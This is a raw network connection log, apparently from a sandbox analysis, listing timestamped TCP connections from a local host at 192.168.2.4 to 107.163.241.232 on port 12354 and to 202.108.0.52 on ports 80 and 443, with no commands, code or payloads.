Dec 11, 2024 16:25:08.852368116 CET	12354	50066	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:08.853388071 CET	80	50067	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:10.304788113 CET	80	50067	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:10.304990053 CET	50067	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:10.307507038 CET	50081	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:10.307544947 CET	443	50081	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:10.307621956 CET	50081	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:10.307836056 CET	50081	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:10.307846069 CET	443	50081	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:10.735220909 CET	12354	50064	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:10.735318899 CET	50064	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.756552935 CET	50064	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.757180929 CET	50086	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.845766068 CET	12354	50066	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:10.845891953 CET	50066	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.846102953 CET	50066	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.872243881 CET	50088	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.876408100 CET	12354	50064	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:10.876601934 CET	12354	50086	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:10.876679897 CET	50086	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.876811981 CET	50086	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.965483904 CET	12354	50066	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:10.991952896 CET	12354	50088	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:10.992091894 CET	50088	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.992366076 CET	50088	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:10.996130943 CET	12354	50086	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:11.111877918 CET	12354	50088	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:12.010896921 CET	443	50081	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:12.011075974 CET	50081	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.011590958 CET	50081	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.011620045 CET	443	50081	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:12.013314962 CET	50081	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.013329029 CET	443	50081	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:12.509947062 CET	50088	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.509968042 CET	50081	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.509980917 CET	50086	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.510375023 CET	50104	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.622422934 CET	50106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.624367952 CET	50067	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.624596119 CET	50107	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.633250952 CET	12354	50104	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:12.633368969 CET	50104	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.633485079 CET	50104	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.742237091 CET	12354	50106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:12.742382050 CET	50106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.742552996 CET	50106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:12.743987083 CET	80	50107	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:12.744046926 CET	80	50067	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:12.744062901 CET	50107	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.744112015 CET	50067	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.744430065 CET	50107	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:12.753675938 CET	12354	50104	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:12.862580061 CET	12354	50106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:12.864065886 CET	80	50107	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:14.316438913 CET	80	50107	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:14.316534996 CET	50107	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:14.318749905 CET	50124	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:14.318808079 CET	443	50124	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:14.318886995 CET	50124	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:14.319098949 CET	50124	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:14.319117069 CET	443	50124	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:14.750549078 CET	12354	50104	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:14.750649929 CET	50104	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.750730991 CET	50104	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.751552105 CET	50129	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.860366106 CET	12354	50106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:14.860487938 CET	50106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.863929987 CET	50106	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.870210886 CET	12354	50104	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:14.871273994 CET	12354	50129	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:14.871365070 CET	50129	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.871700048 CET	50129	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.871915102 CET	50131	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.983771086 CET	12354	50106	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:14.991174936 CET	12354	50129	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:14.991235018 CET	12354	50131	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:14.991377115 CET	50131	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:14.991518974 CET	50131	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:15.110898018 CET	12354	50131	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:16.010672092 CET	443	50124	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:16.010772943 CET	50124	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.011259079 CET	50124	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.011271000 CET	443	50124	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:16.012924910 CET	50124	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.012939930 CET	443	50124	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:16.525388002 CET	50124	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.525402069 CET	50131	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.525444031 CET	50129	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.526031017 CET	50147	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.642395973 CET	50150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.642802954 CET	50107	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.643134117 CET	50151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.647371054 CET	12354	50147	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:16.647594929 CET	50147	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.647640944 CET	50147	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.767007113 CET	12354	50150	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:16.767195940 CET	50150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.767366886 CET	50150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:16.767579079 CET	80	50151	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:16.767607927 CET	80	50107	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:16.767648935 CET	50151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.767672062 CET	50107	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.767755032 CET	50151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:16.771378040 CET	12354	50147	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:16.889055014 CET	12354	50150	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:16.889605999 CET	80	50151	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:18.348057032 CET	80	50151	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:18.348165035 CET	50151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:18.351959944 CET	50169	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:18.352008104 CET	443	50169	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:18.352068901 CET	50169	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:18.353008032 CET	50169	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:18.353023052 CET	443	50169	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:18.769731045 CET	12354	50147	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:18.769808054 CET	50147	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.770512104 CET	50147	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.770845890 CET	50173	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.876013041 CET	12354	50150	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:18.876156092 CET	50150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.876215935 CET	50150	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.887165070 CET	50175	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.889950037 CET	12354	50147	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:18.890186071 CET	12354	50173	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:18.890259027 CET	50173	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.890381098 CET	50173	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:18.995747089 CET	12354	50150	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:19.007375956 CET	12354	50175	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:19.007452965 CET	50175	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:19.007800102 CET	50175	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:19.009967089 CET	12354	50173	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:19.127257109 CET	12354	50175	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:20.041265965 CET	443	50169	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:20.043920040 CET	50169	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.044353008 CET	50169	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.044364929 CET	443	50169	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:20.046394110 CET	50169	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.046400070 CET	443	50169	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:20.525454998 CET	50175	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.525480986 CET	50169	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.525506020 CET	50173	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.525908947 CET	50192	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.645303011 CET	12354	50192	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:20.645412922 CET	50192	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.648099899 CET	50195	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.650703907 CET	50151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.650847912 CET	50196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.652548075 CET	50192	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.768721104 CET	12354	50195	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:20.768874884 CET	50195	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.769032001 CET	50195	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:20.770416975 CET	80	50196	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:20.770427942 CET	80	50151	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:20.770622969 CET	50151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.770638943 CET	50196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.770831108 CET	50196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:20.772670984 CET	12354	50192	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:20.889565945 CET	12354	50195	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:20.891375065 CET	80	50196	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:22.352791071 CET	80	50196	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:22.352848053 CET	50196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:22.364106894 CET	50217	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:22.364150047 CET	443	50217	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:22.364201069 CET	50217	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:22.364471912 CET	50217	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:22.364481926 CET	443	50217	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:22.792360067 CET	12354	50192	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:22.792505026 CET	50192	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:22.792577982 CET	50192	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:22.793004990 CET	50223	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:22.891494036 CET	12354	50195	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:22.891592979 CET	50195	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:22.893471956 CET	50195	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:22.912306070 CET	12354	50192	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:22.912718058 CET	12354	50223	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:22.912801027 CET	50223	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:22.933326960 CET	50223	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:23.013679981 CET	12354	50195	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:23.031826973 CET	50226	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:23.052845955 CET	12354	50223	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:23.151494980 CET	12354	50226	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:23.154737949 CET	50226	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:23.269782066 CET	50226	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:23.391357899 CET	12354	50226	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:24.062306881 CET	443	50217	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:24.062386036 CET	50217	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.062787056 CET	50217	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.062793970 CET	443	50217	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:24.064706087 CET	50217	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.064709902 CET	443	50217	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:24.541239023 CET	50226	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.541275024 CET	50217	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.541290998 CET	50223	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.542843103 CET	50240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.656333923 CET	50243	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.657212973 CET	50196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.657906055 CET	50244	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.664664030 CET	12354	50240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:24.666057110 CET	50240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.666181087 CET	50240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.776474953 CET	12354	50243	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:24.776828051 CET	80	50196	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:24.776848078 CET	50243	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.776887894 CET	50196	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.777081013 CET	50243	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:24.778105021 CET	80	50244	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:24.780726910 CET	50244	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.780812979 CET	50244	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:24.785998106 CET	12354	50240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:24.899426937 CET	12354	50243	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:24.900719881 CET	80	50244	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:26.400546074 CET	80	50244	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:26.400629044 CET	50244	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:26.725848913 CET	50260	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:26.725893974 CET	443	50260	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:26.726010084 CET	50260	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:26.728050947 CET	50260	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:26.728064060 CET	443	50260	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:26.831238985 CET	12354	50240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:26.831324100 CET	50240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:26.831456900 CET	50240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:26.832207918 CET	50267	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:26.945758104 CET	12354	50243	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:26.945832014 CET	50243	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:26.945961952 CET	50243	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:26.950218916 CET	50270	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:26.950732946 CET	12354	50240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:26.951679945 CET	12354	50267	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:26.951752901 CET	50267	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:26.951982021 CET	50267	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:27.065417051 CET	12354	50243	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:27.070040941 CET	12354	50270	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:27.070115089 CET	50270	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:27.070265055 CET	50270	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:27.071881056 CET	12354	50267	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:27.189675093 CET	12354	50270	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:28.556572914 CET	50270	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.556586981 CET	50267	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.556615114 CET	50260	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:28.557246923 CET	50295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.677073002 CET	50298	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.677280903 CET	12354	50295	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:28.677504063 CET	50295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.677678108 CET	50244	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:28.678307056 CET	50299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:28.678448915 CET	50295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.797725916 CET	12354	50298	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:28.797807932 CET	50298	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.798531055 CET	80	50244	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:28.798543930 CET	80	50299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:28.798603058 CET	50244	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:28.798624992 CET	50299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:28.798649073 CET	12354	50295	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:28.835324049 CET	50298	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:28.835434914 CET	50299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:28.956054926 CET	12354	50298	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:28.956073999 CET	80	50299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:30.353166103 CET	80	50299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:30.353246927 CET	50299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:30.392566919 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:30.392676115 CET	443	50314	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:30.392776966 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:30.393069983 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:30.393105984 CET	443	50314	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:30.813726902 CET	12354	50295	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:30.815886974 CET	50295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:30.815984964 CET	50295	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:30.816452026 CET	50321	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:30.906749964 CET	12354	50298	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:30.908704042 CET	50298	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:30.908787966 CET	50298	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:30.938088894 CET	50324	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:30.938699007 CET	12354	50295	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:30.939014912 CET	12354	50321	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:30.939121008 CET	50321	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:30.939234972 CET	50321	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:31.032028913 CET	12354	50298	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:31.062182903 CET	12354	50324	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:31.062272072 CET	50324	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:31.063020945 CET	12354	50321	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:31.083494902 CET	50324	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:31.210144997 CET	12354	50324	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:32.104912996 CET	443	50314	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.104998112 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.105652094 CET	443	50314	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.105699062 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.109205008 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.109216928 CET	443	50314	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.109509945 CET	443	50314	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.109560966 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.110269070 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.151331902 CET	443	50314	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.556916952 CET	50324	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.556917906 CET	50321	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.556917906 CET	50314	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.558516979 CET	50356	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.671036005 CET	50299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.671375036 CET	50358	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.672620058 CET	50359	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.681216955 CET	12354	50356	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:32.681360006 CET	50356	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.681602955 CET	50356	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.790658951 CET	80	50358	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.790752888 CET	80	50299	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.790760994 CET	50358	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.790822983 CET	50299	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.792031050 CET	12354	50359	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:32.792089939 CET	50359	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.800947905 CET	12354	50356	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:32.809689999 CET	50358	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:32.810214996 CET	50359	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:32.929042101 CET	80	50358	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:32.929482937 CET	12354	50359	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:34.356770992 CET	80	50358	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:34.356832027 CET	50358	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:34.445384026 CET	50384	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:34.445430040 CET	443	50384	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:34.445482969 CET	50384	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:34.552460909 CET	50384	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:25:34.552484989 CET	443	50384	202.108.0.52	192.168.2.4
Dec 11, 2024 16:25:34.813851118 CET	12354	50356	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:34.814073086 CET	50356	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:34.814327002 CET	50356	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:34.814479113 CET	50389	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:34.907430887 CET	12354	50359	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:34.907607079 CET	50359	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:34.907740116 CET	50359	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:34.918612957 CET	50392	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:34.933648109 CET	12354	50356	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:34.933810949 CET	12354	50389	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:34.933876038 CET	50389	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:34.933986902 CET	50389	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:35.027776003 CET	12354	50359	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:35.038134098 CET	12354	50392	107.163.241.232	192.168.2.4
Dec 11, 2024 16:25:35.038422108 CET	50392	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:35.039336920 CET	50392	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:25:35.053277016 CET	12354	50389	107.163.241.232	192.168.2.4
